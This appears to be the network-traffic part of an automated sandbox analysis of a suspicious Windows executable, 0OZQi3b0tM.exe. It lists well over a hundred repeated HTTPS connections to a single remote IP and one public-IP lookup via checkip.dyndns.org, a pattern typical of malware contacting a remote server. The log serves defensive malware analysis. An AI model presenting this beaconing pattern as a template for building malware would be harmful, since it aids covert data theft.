Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
241	192.168.2.5	50152	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
242	192.168.2.5	50153	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
243	192.168.2.5	50154	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
244	192.168.2.5	50155	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
245	192.168.2.5	50156	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
246	192.168.2.5	50158	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
247	192.168.2.5	50159	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
248	192.168.2.5	50160	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
249	192.168.2.5	50161	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.5	49793	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
250	192.168.2.5	50162	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
251	192.168.2.5	50163	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
252	192.168.2.5	50164	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
253	192.168.2.5	50165	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
254	192.168.2.5	50166	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
255	192.168.2.5	50167	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
256	192.168.2.5	50168	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
257	192.168.2.5	50169	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
258	192.168.2.5	50170	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
259	192.168.2.5	50171	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.5	49794	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
260	192.168.2.5	50174	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
261	192.168.2.5	50177	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
262	192.168.2.5	50180	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
263	192.168.2.5	50183	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
264	192.168.2.5	50185	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
265	192.168.2.5	50188	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
266	192.168.2.5	50192	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
267	192.168.2.5	50195	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
268	192.168.2.5	50197	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
269	192.168.2.5	50200	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.5	49795	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
270	192.168.2.5	50203	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
271	192.168.2.5	50205	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
272	192.168.2.5	50206	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
273	192.168.2.5	50207	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
274	192.168.2.5	50208	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
275	192.168.2.5	50209	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
276	192.168.2.5	50210	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
277	192.168.2.5	50211	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
278	192.168.2.5	50212	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
279	192.168.2.5	50213	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.5	49796	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
280	192.168.2.5	50214	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
281	192.168.2.5	50215	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
282	192.168.2.5	50216	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
283	192.168.2.5	50217	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
284	192.168.2.5	50218	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
285	192.168.2.5	50219	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
286	192.168.2.5	50220	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
287	192.168.2.5	50221	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
288	192.168.2.5	50222	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
289	192.168.2.5	50223	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.5	49798	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
290	192.168.2.5	50224	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
291	192.168.2.5	50225	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
292	192.168.2.5	50226	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
293	192.168.2.5	50227	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
294	192.168.2.5	50228	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
295	192.168.2.5	50229	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
296	192.168.2.5	50230	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
297	192.168.2.5	50231	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
298	192.168.2.5	50232	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
299	192.168.2.5	50233	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49771	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.5	49799	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
300	192.168.2.5	50234	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
301	192.168.2.5	50235	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
302	192.168.2.5	50236	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
303	192.168.2.5	50237	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
304	192.168.2.5	50238	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
305	192.168.2.5	50239	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
306	192.168.2.5	50240	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
307	192.168.2.5	50241	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
308	192.168.2.5	50242	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
309	192.168.2.5	50243	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.5	49801	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
310	192.168.2.5	50244	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
311	192.168.2.5	50245	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
312	192.168.2.5	50247	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
313	192.168.2.5	50248	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
314	192.168.2.5	50249	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
315	192.168.2.5	50250	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
316	192.168.2.5	50251	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
317	192.168.2.5	49746	193.122.130.0	80	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
Jun 26, 2022 09:32:22.672653913 CEST	282	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jun 26, 2022 09:32:22.784780025 CEST	283	IN	HTTP/1.1 200 OK Date: Sun, 26 Jun 2022 07:32:22 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 30 32 2e 31 32 39 2e 31 34 33 2e 36 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 102.129.143.61</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.5	49802	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.5	49803	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.5	49804	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.5	49805	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.5	49808	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.5	49809	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.5	49810	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.5	49812	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49772	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.5	49814	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.5	49815	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.5	49816	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.5	49817	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.5	49818	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.5	49821	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.5	49822	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.5	49824	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.5	49825	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.5	49827	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49773	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.5	49829	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.5	49830	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.5	49833	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.5	49838	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.5	49841	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.5	49844	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.5	49847	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.5	49852	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.5	49857	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.5	49859	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49774	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.5	49863	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.5	49865	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.5	49868	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.5	49871	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.5	49874	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.5	49876	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.5	49879	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.5	49881	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.5	49884	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.5	49888	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49775	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.5	49890	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.5	49893	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.5	49895	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.5	49898	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.5	49901	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.5	49904	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.5	49906	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.5	49907	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.5	49909	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.5	49911	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49776	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.5	49913	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.5	49914	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.5	49917	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.5	49919	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.5	49922	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

